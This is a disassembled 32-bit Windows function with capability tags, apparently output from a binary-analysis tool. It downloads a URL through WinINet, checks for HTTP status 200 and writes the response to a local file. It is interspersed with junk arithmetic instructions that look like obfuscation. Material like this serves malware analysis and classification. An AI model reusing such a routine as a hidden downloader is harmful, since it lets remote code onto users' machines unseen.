Function at 0x10001512
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1214
call fcn.10004090
push ebx
push esi
xor ebx, ebx
push edi
push ebx
push ebx
push ebx
push ebx
push 0x10006170
call dword [sym.imp.WININET.dll_InternetOpenA]
add dword [0x100066ac], 0x38c9
mov edi, eax
cmp edi, ebx
mov dword [ebp - 8], edi
je 0x1000175f
push ebx
push 0x80000100
push ebx
push ebx
push dword [ebp + 8]
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
add dword [0x100066b4], 0x78ed
mov esi, eax
cmp esi, ebx
jne 0x10001582
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
add dword [0x1000669c], 0x521e
jmp 0x1000175f
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x113]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x213]
mov byte [ebp - 0x214], bl
add dword [0x100066bc], 0x62de
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x10]
add dword [0x100066b8], 0x2234
push eax
add dword [0x100066a4], 0x680d
add dword [0x1000669c], 0xb97f
add dword [0x100066b4], 0x4c67
lea eax, [ebp - 0xc]
mov byte [ebp - 0x114], 0x32
push eax
lea eax, [ebp - 0x214]
push eax
push 0x13
push esi
mov byte [ebp - 0x113], 0x30
mov byte [ebp - 0x112], 0x30
mov byte [ebp - 0x111], bl
mov dword [ebp - 0xc], 0xfa
mov dword [ebp - 0x10], ebx
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x1000173d
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x1000173d
push ebx
push 0x80
push 1
push ebx
push ebx
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
add dword [0x100066a8], 0x781e
mov edi, eax
cmp edi, 0xffffffff
jne 0x1000168b
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push esi
call edi
push dword [ebp - 8]
add dword [0x10006698], 0x5033
call edi
add dword [0x100066b8], 0x2e91
jmp 0x1000175f
add dword [0x100066b4], 0x251a
add dword [0x100066a8], 0x65b0
add dword [0x100066ac], 0x693d
add dword [0x10006698], 0x81b
mov dword [ebp + 8], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x14], ebx
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x1214]
push 0xfa0
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x10001705
cmp dword [ebp - 4], ebx
je 0x100016fe
lea eax, [ebp - 0x14]
push ebx
push eax
lea eax, [ebp - 0x1214]
push dword [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
add dword [0x100066a8], 0x56c6
jmp 0x100016bc
mov dword [ebp + 8], 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
add dword [0x100066a8], 0x70f2
push esi
call edi
push dword [ebp - 8]
add dword [0x1000669c], 0x6e7e
call edi
add dword [0x100066a4], 0x58dd
mov eax, dword [ebp + 8]
jmp 0x10001761
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push esi
call edi
push dword [ebp - 8]
add dword [0x10006698], 0x87b
call edi
add dword [0x100066a4], 0x1916
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 8